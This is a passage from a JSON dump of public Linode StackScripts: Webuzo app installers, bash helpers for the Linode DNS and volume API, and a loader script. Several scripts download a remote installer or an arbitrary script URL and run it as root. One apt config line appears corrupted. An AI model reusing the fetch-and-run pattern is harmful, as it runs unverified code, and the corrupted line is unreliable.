Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Support Incident Tracker has been successfully installed\"\necho \" \"\necho \"You can now configure Support Incident Tracker and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 928534, "username": "acourdavault", "user_gravatar_id": "66d9a70b3232ec8f2b533584b3299ed8", "label": "db_centos_magic_script", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/centos7"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\t\n\nexec > /var/log/sg-stackscript.log\nexec 2>&1\t\n\nset -x\ncommand -v wget >/dev/null 2>&1 || yum install -y wget || exit 1\ncommand -v dos2unix >/dev/null 2>&1 || yum install -y dos2unix || exit 1\n\ncd ${HOME}\nSCRIPT=$(basename $SCRIPT_URL)\nrm -f ${SCRIPT}\necho \"Copying ${SCRIPT_URL} to ${HOME}\"\nwget --tries=5 ${SCRIPT_URL} && /usr/bin/dos2unix ${SCRIPT} && . ${SCRIPT}\ncd ${HOME} && rm -f ${SCRIPT}", "user_defined_fields": []}, {"id": 1193750, "username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": "Basic OCA Helper ", "description": "Basic OCA Helper One-Click", "ordinal": 0, "logo_url": "", "images": ["linode/debian9"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "move apt-get upgrade to end of script to prevent busted nf_conntrack kernel modules for UFW - cmullen ", "script": "#!/bin/bash\n# Used for Marketplace Apps\n# Helper functions\n\nfunction apt_setup_update {\n # Force IPv4 and noninteractive update\n echo ''Acquir1234::5678orceIPv4 \"true\";'' > /etc/apt/apt.conf.d/99force-ipv4\n export DEBIAN_FRONTEND=noninteractive\n apt-get update -y\n}\n\nfunction set_hostname {\n IP=`hostname -I | awk ''{print$1}''`\n HOSTNAME=`dnsdomainname -A`\n hostnamectl set-hostname $HOSTNAME\n echo $IP $HOSTNAME >> /etc/hosts\n}\n\nfunction mysql_root_preinstall {\n # Set MySQL root password on install\n debconf-set-selections <<< \"mysql-server mysql-server/root_password password $DBROOT_PASSWORD\"\n debconf-set-selections <<< \"mysql-server mysql-server/root_password_again password $DBROOT_PASSWORD\"\n}\n\nfunction run_mysql_secure_installation_ubuntu20 {\n # Installs expect, runs mysql_secure_installation and runs mysql secure installation.\n apt-get install -y expect\n SECURE_MYSQL=$(expect -c \"\n set timeout 10\n spawn mysql_secure_installation\n expect \\\"Press y|Y for Yes, any other key for No:\\\"\n send \\\"n\\r\\\"\n expect \\\"New password:\\\"\n send \\\"$DBROOT_PASSWORD\\r\\\"\n expect \\\"Re-enter new password:\\\"\n send \\\"$DBROOT_PASSWORD\\r\\\"\n expect \\\"Remove anonymous users? (Press y|Y for Yes, any other key for No) :\\\"\n send \\\"y\\r\\\"\n expect \\\"Disallow root login remotely? (Press y|Y for Yes, any other key for No) :\\\"\n send \\\"y\\r\\\"\n expect \\\"Remove test database and access to it? (Press y|Y for Yes, any other key for No) :\\\"\n send \\\"y\\r\\\"\n expect \\\"Reload privilege tables now? (Press y|Y for Yes, any other key for No) :\\\"\n send \\\"y\\r\\\"\n expect eof\n \")\n echo \"$SECURE_MYSQL\"\n}\n\nfunction ufw_install {\n # Install UFW and add basic rules\n apt-get install ufw -y\n ufw default allow outgoing\n ufw default deny incoming\n ufw allow ssh\n ufw enable\n systemctl enable ufw\n\n # Stop flooding Console with messages\n ufw logging off\n}\n\nfunction fail2ban_install {\n # Install and configure Fail2ban\n apt-get install fail2ban -y\n cd /etc/fail2ban\n cp fail2ban.conf fail2ban.local\n cp jail.conf jail.local\n systemctl start fail2ban\n systemctl enable fail2ban\n cd\n}\n\nfunction stackscript_cleanup {\n # Force IPv4 and noninteractive upgrade after script runs to prevent breaking nf_conntrack for UFW\n echo ''Acquir1234::5678orceIPv4 \"true\";'' > /etc/apt/apt.conf.d/99force-ipv4\n export DEBIAN_FRONTEND=noninteractive \n apt-get upgrade -y\n\n rm /root/StackScript\n rm /root/ssinclude*\n echo \"Installation complete!\"\n}\n\nfunction run_mysql_secure_installation {\n # Installs expect, runs mysql_secure_installation and runs mysql secure installation.\n apt-get install -y expect\n SECURE_MYSQL=$(expect -c \"\n set timeout 10\n spawn mysql_secure_installation\n expect \\\"Enter current password for root (enter for ):\\\"\n send \\\"$DBROOT_PASSWORD\\r\\\"\n expect \\\"Change the root password?\\\"\n send \\\"n\\r\\\"\n expect \\\"Remove anonymous users?\\\"\n send \\\"y\\r\\\"\n expect \\\"Disallow root login remotely?\\\"\n send \\\"y\\r\\\"\n expect \\\"Remove test database and access to it?\\\"\n send \\\"y\\r\\\"\n expect \\\"Reload privilege tables now?\\\"\n send \\\"y\\r\\\"\n expect eof\n \")\n echo \"$SECURE_MYSQL\"\n}", "user_defined_fields": []}, {"id": 9239, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Webasyst powered by Webuzo", "description": "Webasyst is a free PHP framework for creating sleek multi-user web apps and for building websites. Webasyst offers a multi-app UI ready for integrating and designing your app, handles user authorization, access rights management, routing setup, and much more. Great for creating web solutions for businesses and teams. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Webasyst and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Webasyst powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Webasyst and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Webasyst :\n# Webasyst is a free PHP framework for creating sleek multi-user web apps and for building websites.\n# Webasyst offers a multi-app UI ready for integrating and designing your app, handles user \n# authorization, access rights management, routing setup, and much more.\n# Great for creating web solutions for businesses and teams. \n###########################################################################################################\n\n# Install Webasyst Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=467&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Webasyst and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Webasyst has been successfully installed\"\necho \" \"\necho \"You can now configure Webasyst and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9240, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "jforum powered by Webuzo", "description": "jforum is a powerful and robust discussion board system implemented in Java. It provides an attractive interface, an efficient forum engine, an easy to use administrative panel, an advanced permission control system and much more. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure jforum and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "jforum powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install jforum and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About jforum :\n# jforum is a powerful and robust discussion board system implemented in Java.\n# It provides an attractive interface, an efficient forum engine, an easy to use administrative\n# panel, an advanced permission control system and much more.\n###########################################################################################################\n\n# Install jforum Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=423&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling jforum and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, jforum has been successfully installed\"\necho \" \"\necho \"You can now configure jforum and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193752, "username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label": "API Functions Helper", "description": "api", "ordinal": 0, "logo_url": "", "images": ["linode/slackware14.1", "linode/centos7", "linode/ubuntu16.04lts", "linode/arch", "linode/slackware14.2", "linode/gentoo", "linode/debian9", "linode/ubuntu18.04", "linode/debian10", "linode/centos8", "linode/alpine3.11"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/usr/bin/env bash\n\n### Linode API Bash Functions\n\n##################################\n## Pre-Requisites\n##################################\n\n## Import StackScript 1 (Bash Library) so that check_dns_propagation() can install ''dig''\n#source \n\n## Install jq\nif [ ! -x /usr/bin/jq ] && [ ! -x /usr/local/bin/jq ]; then\n which wget || system_install_package wget\n wget https://github.com/stedolan/jq/releases/download/jq-1.6/jq-linux64\n mv jq-linux64 jq\n chmod +x jq\n mv jq /usr/bin/\nfi\n\n\n##################################\n## DNS\n##################################\n\n## Fetch DNS info from the API\n\nfunction list_domains {\n # Example: list_domains\n\n curl -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n https://api.linode.com/v4/domains | jq -S\n}\n\nfunction list_records {\n # Example: list_records $DOMAIN\n \n local -r domain=\"$1\"\n local -r domain_id=$(get_domain_property $domain ''id'')\n\n curl -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n https://api.linode.com/v4/domains/$domain_id/records | jq -S\n}\n\nfunction get_domain_property {\n # Example: get_domain_property $DOMAIN ''id'' \n\n local -r domain=\"$1\" property=\"$2\"\n local -a domain_list=($(list_domains $TOKEN_PASSWORD))\n local -r num_domains=$(echo \"${domain_list[@]}\" | jq ''.results'')\n\n for ((i=0; i<$num_domains; i++)); do\n local domain_name=$(echo \"${domain_list[@]}\" | jq .data[$i].domain | sed ''s/\"//g'')\n case \"$domain_name\" in\n \"$domain\")\n echo \"${domain_list[@]}\" | jq .data[$i].$property\n break;\n ;;\n esac\n done\n}\n\nfunction check_domain {\n # Example: check_domain \"$DOMAIN\"\n\n local -r domain=\"$1\"\n if [ \"$(get_domain_property \"$domain\" ''domain'')\" ];\n then return 0;\n else return 1;\n fi\n}\n\nfunction get_record_id {\n # Example: get_record_id \"$DOMAIN\" \"$SUBDOMAIN\" \"$TYPE\"\n\n local -r domain=\"$1\" subdomain=\"$2\" type=\"$3\"\n local -r domain_id=$(get_domain_property \"$domain\" ''id'')\n local -a record_list=($(list_records \"$domain\"))\n local -r num_records=$(echo \"${record_list[@]}\" | jq ''.results'')\n\n for ((i=0; i<$num_records; i++)); do\n local record_name=$(echo \"${record_list[@]}\" | jq .data[$i].name | sed ''s/\"//g'')\n case \"$record_name\" in\n \"$subdomain\")\n local record_type=$(echo \"${record_list[@]}\" | jq .data[$i].type | sed ''s/\"//g'')\n if [ \"$record_type\" == \"$type\" ]; then\n echo \"${record_list[@]}\" | jq .data[$i].id\n break;\n fi\n ;;\n esac\n done\n}\n\nfunction check_record {\n # Example: check_record $DOMAIN $SUBDOMAIN $TYPE\n\n local -r domain=\"$1\" subdomain=\"$2\" type=\"$3\"\n local -r domain_id=$(get_domain_property \"$domain\" ''id'')\n local -a record_list=($(list_records \"$domain\"))\n local -r num_records=$(echo \"${record_list[@]}\" | jq ''.results'')\n\n for ((i=0; i<$num_records; i++)); do\n local record_name=$(echo \"${record_list[@]}\" | jq .data[$i].name | sed ''s/\"//g'')\n case \"$record_name\" in \n \"$subdomain\")\n local record_type=$(echo \"${record_list[@]}\" | jq .data[$i].type | sed ''s/\"//g'')\n if [ \"$record_type\" == \"$type\" ]; then\n local found_record=true\n break;\n fi\n ;;\n esac\n done\n\n if [ \"$found_record\" ]; then\n return 0;\n else\n return 1;\n fi\n}\n\n## Create new DNS records\n\nfunction create_domain {\n # Example: create_domain $DOMAIN $SOA_EMAIL_ADDRESS\n \n local -r domain=\"$1\" soa_email_address=\"$2\"\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"domain\": \"''\"$domain\"''\",\n \"type\": \"master\",\n \"soa_email\": \"''\"$soa_email_address\"''\",\n \"description\": \" \",\n \"refresh_sec\": 14400,\n \"retry_sec\": 3600,\n \"expire_sec\": 604800,\n \"ttl_sec\": 300,\n \"status\": \"active\",\n \"display_group\": \" \"\n }'' https://api.linode.com/v4/domains\n\n # There''s a reason I added this, but it seems I didn''t leave a comment\n # I''ll experiment with removing it later, but am leaving it for now in\n # the interest of not breaking anything\n sleep 3\n}\n\nfunction create_a_record {\n # Example: create_a_record $SUBDOMAIN $IP $DOMAIN\n\n local -r subdomain=\"$1\" ip_address=\"$2\" domain=\"$3\"\n local -r domain_id=$(get_domain_property \"$domain\" ''id'')\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"type\": \"A\",\n \"name\": \"''\"$subdomain\"''\",\n \"target\": \"''\"$ip_address\"''\",\n \"priority\": 0,\n \"service\": null,\n \"protocol\": null\n }'' https://api.linode.com/v4/domains/$domain_id/records\n\n}\n\nfunction create_aaaa_record {\n # Example: create_aaaa_record $SUBDOMAIN $IP $DOMAIN\n\n local -r subdomain=\"$1\" ip6_address=\"$2\" domain=\"$3\"\n local -r domain_id=$(get_domain_property \"$domain\" ''id'')\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"type\": \"AAAA\",\n \"name\": \"''\"$subdomain\"''\",\n \"target\": \"''\"$ip6_address\"''\",\n \"priority\": 0,\n \"service\": null,\n \"protocol\": null\n }'' https://api.linode.com/v4/domains/$domain_id/records\n}\n\nfunction create_mx_record {\n # Example: create_mx_record $DOMAIN\n\n local -r domain=\"$1\"\n local -r domain_id=$(get_domain_property \"$domain\" ''id'')\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"type\": \"MX\",\n \"name\": \"''\"mail.${domain}\"''\",\n \"target\": \"''\"$domain\"''\",\n \"priority\": 10,\n \"service\": null,\n \"protocol\": null,\n \"ttl_sec\": 0\n }'' https://api.linode.com/v4/domains/$domain_id/records\n}\n\nfunction create_spf_record {\n ## This function needs updating to allow the creation of custom SPF records\n\n # Example create_spf_record $DOMAIN\n\n local -r domain=\"$1\"\n local -r domain_id=$(get_domain_property \"$domain\" ''id'')\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"type\": \"TXT\",\n \"name\": \"''\"$domain\"''\",\n \"target\": \"v=spf1 a ~all\",\n \"priority\": 50,\n \"ttl_sec\": 0\n }'' https://api.linode.com/v4/domains/$domain_id/records\n}\n\nfunction set_rdns {\n # Example: set_rdns $FQDN $IP\n\n local -r fqdn=\"$1\" ip_address=\"$2\"\n\n check_dns_propagation \"$fqdn\" \"$ip_address\"\n\n printf \"Setting rDNS...\\n\"\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X PUT -d ''{\n \"rdns\": \"''\"$fqdn\"''\"\n }'' https://api.linode.com/v4/networking/ips/$ip_address\n}\n\n\n## Update existing DNS records\n\nfunction update_domain_property {\n # Example: update_domain_property $DOMAIN $PROPERTIES_JSON\n\n local -r domain=\"$1\"\n local -r domain_id=\"$(get_domain_property \"$domain\" ''id'')\"\n\n # Import the passed data into an associative array\n local var=$(declare -p ${2})\n eval \"local -a properties_json=\"${var#*=}\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X PUT -d \"${properties_json}\" \\\n https://api.linode.com/v4/domains/$domain_id\n}\n\nfunction update_a_record {\n # Example: update_a_record $SUBDOMAIN $IP_ADDRESS $DOMAIN\n \n local -r subdomain=\"$1\" ip_address=\"$2\" domain=\"$3\"\n local -r domain_id=$(get_domain_property \"$domain\" ''id'')\n local -r record_id=$(get_record_id \"$domain\" \"$subdomain\" ''A'')\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X PUT -d ''{\n \"type\": \"A\",\n \"name\": \"''\"$subdomain\"''\",\n \"target\": \"''\"$ip_address\"''\"\n }'' https://api.linode.com/v4/domains/$domain_id/records/$record_id\n}\n\nfunction update_aaaa_record {\n # Example: update_aaaa_record $SUBDOMAIN $IP6 $DOMAIN\n\n local -r subdomain=\"$1\" ip6_address=\"$2\" domain=\"$3\"\n local -r domain_id=$(get_domain_property \"$domain\" ''id'')\n local -r record_id=$(get_record_id \"$domain\" \"$subdomain\" ''AAAA'')\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X PUT -d ''{\n \"type\": \"AAAA\",\n \"name\": \"''\"$subdomain\"''\",\n \"target\": \"''\"$ip6_address\"''\"\n }'' https://api.linode.com/v4/domains/$domain_id/records/$record_id\n}\n\n\n## Automate DNS record creation\n#\n# *** IMPORTANT ***\n#\n# To use this next function, you''ll need to create an associative array outside of it to be passed in\n# Here''s an example:\n#\n# declare -A dns_records=(\n# [soa_email_address]=\"$SOA_EMAIL_ADDRESS\"\n# [domain]=\"$DOMAIN\"\n# [subdomain]=\"www\"\n# [mx_record]=''Yes''\n# [spf_record]=''Yes''\n# )\n#\n# set_dns \"dns_records\"\n\nfunction set_dns {\n # Import the passed data into an associative array\n local var=$(declare -p ${1})\n eval \"local -A records=\"${var#*=}\n\n # Create the domain, if specified, and get it''s ID\n # Also, create the A record for the base domain\n if ! check_domain \"${records[domain]}\"; then\n # Create the domain\n create_domain \"${records[domain]}\" \"${records[email_address]}\"\n\n # Create the base A record\n create_a_record \"\" \"${records[ipv4_address]}\" \"${records[domain]}\"\n create_aaaa_record \"\" \"${records[ipv6_address]}\" \"${records[domain]}\"\n fi\n\n # If the A record doesn''t already exist, create it\n if ! check_record \"${records[domain]}\" \"${records[subdomain]}\" ''A''; then\n create_a_record \"${records[subdomain]}\" \"${records[ipv4_address]}\" \"${records[domain]}\"\n # Otherwise, update it\n else\n update_a_record \"${records[subdomain]}\" \"${records[ipv4_address]}\" \"${records[domain]}\"\n fi\n\n # If the AAAA record doesn''t exist, create it\n if ! check_record \"${records[domain]}\" \"${records[subdomain]}\" ''AAAA''; then\n create_aaaa_record \"${records[subdomain]}\" \"${records[ipv6_address]}\" \"${records[domain]}\"\n # Otherwise, update it\n else\n update_aaaa_record \"${records[subdomain]}\" \"${records[ipv6_address]}\" \"${records[domain]}\"\n fi\n\n # Create an MX record, if requested\n case \"${records[mx_record]}\" in\n ''Yes'')\n list_records \"${records[domain]}\" | grep ''MX''\n [ $? -ne 0 ] && create_mx_record \"${records[domain]}\"\n ;;\n esac\n\n # Create an SPF record, if requested\n case \"${records[spf_record]}\" in\n ''Yes'')\n list_records \"${records[domain]}\" | grep ''spf''\n [ $? -ne 0 ] && create_spf_record \"${records[domain]}\"\n ;;\n esac\n}\n\n\n## Verify DNS records\n\nfunction check_dns_propagation {\n # Example: check_dns_propagation $FQDN $IP\n\n local -r fqdn=\"$1\" ip_address=\"$2\"\n\n # Check for ''dig'' and install ''dnsutils'' if it''s not there\n if ! dig; then\n case \"${detected_distro[family]}\" in\n ''debian'')\n system_install_package dnsutils\n ;;\n ''redhat'')\n system_install_package bind-utils\n ;;\n esac\n fi\n\n # List of nameservers to check\n # Specifically, Google''s and Linode''s\n local -a nameservers=(\n ''8.8.4.4''\n ''8.8.8.8''\n # ''162.159.27.72''\n # ''162.159.24.39''\n # ''162.159.25.129''\n # ''162.159.26.99''\n # ''162.159.24.25''\n )\n\n # Check for the record in each of the nameservers\n # listed in ${nameservers[@]}\n for i in ${nameservers[@]}; do\n local a=1\n printf \"Waiting for propagation to %s\" $i\n while [ $a -gt 0 ]; do\n result=\"$(dig @$i +short $fqdn)\"\n if [ \"$result\" == \"$ip_address\" ]; then\n ((a-=1))\n result=''''\n else\n printf \".\"\n sleep 10\n fi\n done\n printf \"done.\\n\"\n done\n\n printf \"\\n%s has finished propagating!\\n\" $fqdn\n}\n\nfunction check_rdns_propagation {\n # Example check_rdns_propagation $IP $DOMAIN\n\n local -r ip_address=\"$1\" domain=\"$2\"\n local a=1\n\n while [ $a -ne 0 ]; do\n if [ \"$(dig +short -x \"$ip_address\" | grep \"$domain\")\" ]; then\n a=0\n else\n printf \".\"\n sleep 10\n fi\n done\n}\n\n\n\n##################################\n## Object Storage Buckets\n##################################\n\n## Create Object Storage Buckets\n\nfunction create_obj_bucket {\n local -r bucket_name=\"$1\" cluster=\"$2\" acl=\"$3\" cors=\"$4\"\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"label\": \"''\"$bucket_name\"''\",\n \"cluster\": \"''\"$cluster\"''\",\n \"cors_enabled\": ''$cors'',\n \"acl\": \"''\"$acl\"''\"\n }'' https://api.linode.com/v4/object-storage/buckets/\n}\n\n\n\n##################################\n## Block Storage Volumes\n##################################\n\n## List Block Storage Volumes\n\nfunction list_volumes {\n # Example: list_volumes\n\n curl -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n https://api.linode.com/v4/volumes | jq -S\n}\n\nfunction get_volume_property {\n # Example: get_volume_property \"$VOLUME_LABEL\" \"$PROPERTY\"\n\n local -r volume=\"$1\" property=\"$2\"\n local -a volume_list=(\"$(list_volumes)\")\n local -r num_volumes=$(echo \"${volume_list[@]}\" | jq ''.results'')\n\n for ((i=0; i<$num_volumes; i++)); do\n local volume_name=$(echo \"${volume_list[@]}\" | jq .data[$i].label | sed ''s/\"//g'')\n case \"$volume_name\" in\n \"$volume\")\n echo \"${volume_list[@]}\" | jq .data[$i].$property\n break;\n ;;\n esac\n done\n}\n\nfunction check_volume {\n # Example: check_volume \"$volume\"\n\n local -r volume=\"$1\"\n if [ $(get_volume_property \"$volume\" ''label'') ];\n then return 0;\n else return 1;\n fi\n}\n\n\n## Create Block Storage Volumes\n\nfunction create_volume {\n # Example: create_volume \"$VOLUME_LABEL\" $VOLUME_SIZE $LINODE_ID (optional)\n # If you don''t specify a Linode ID, it will default to the current Linode\n\n local -r label=\"$1\" size=\"$2\" linode_id=\"${3:-$LINODE_ID}\"\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"label\": \"''\"$label\"''\",\n \"size\": ''$size'',\n \"linode_id\": ''$linode_id''\n }'' https://api.linode.com/v4/volumes | jq -S\n}\n\n\n## Attach/Detach/Mount Block Storage Volumes\n\nfunction attach_volume {\n # Example: attach_volume \"$VOLUME_LABEL\" $LINODE_ID (optional)\n # If you don''t specify a Linode ID, it will default to the current Linode\n\n local -r volume_label=\"$1\" linode_id=\"${2:-$LINODE_ID}\"\n local -r volume_id=$(get_volume_property \"$volume_label\" ''id'')\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"linode_id\": ''$linode_id''\n }'' https://api.linode.com/v4/volumes/$volume_id/attach\n\n}\n\nfunction detach_volume {\n # Example: detach_volume $VOLUME_ID\n\n local -r volume_id=\"$1\"\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST \\\n https://api.linode.com/v4/volumes/$volume_id/detach\n\n}\n\nfunction mount_volume {\n # Example: mount_volume \"$VOLUME_LABEL\" ''/path/to/mount_point''\n\n local -r volume_label=\"$1\" mount_point=\"$2\"\n local -r volume_path=\"$(\n get_volume_property \"$volume_label\" ''filesystem_path'' | sed ''s/\"//g''\n )\"\n\n # Wait for the volume to become available before proceeding\n local x=1\n while [ $x -gt 0 ]; do\n [ -e $volume_path ] && ((x-=1))\n sleep 1\n done\n\n # Create a filesystem on the volume\n mkfs.ext4 \"$volume_path\"\n\n # Create \"$mount_point\" and mount the volume there\n mkdir -p \"$mount_point\"\n mount \"$volume_path\" \"$mount_point\"\n\n # Automatically mount the volume at boot\n echo \"$volume_path $mount_point ext4 defaults 0 2\" >> /etc/fstab\n}\n\n\nfunction delete_volume {\n # Example: delete_volume $VOLUME_ID\n\n local -r volume_id=\"$1\"\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X DELETE \\\n https://api.linode.com/v4/volumes/$volume_id\n}", "user_defined_fields": []}, {"id": 48408, "username": "crooksau", "user_gravatar_id": "f33d8e66bbce5c95fcb2a96dc8a4beaa", "label": "Debian 8 Install", "description": "Debian 8 Install for BODYRUBS.RU", "ordinal": 0, "logo_url": "", "images": ["linode/debian8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/sh", "user_defined_fields": []}, {"id": 9241, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Admidio powered by Webuzo", "description": "Admidio is a free online membership management, optimized for clubs, groups and organizations. It consists of classical management members from a variety of modules that can be installed and adjusted to a new or existing website.\r\n\r\nRegistered users have your website by Admidio including access to predefined and user-configurable membership lists, people profiles and an Agenda. In addition, members may be pooled in groups are assigned properties and search for it.\r\n\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Admidio and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Admidio powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# 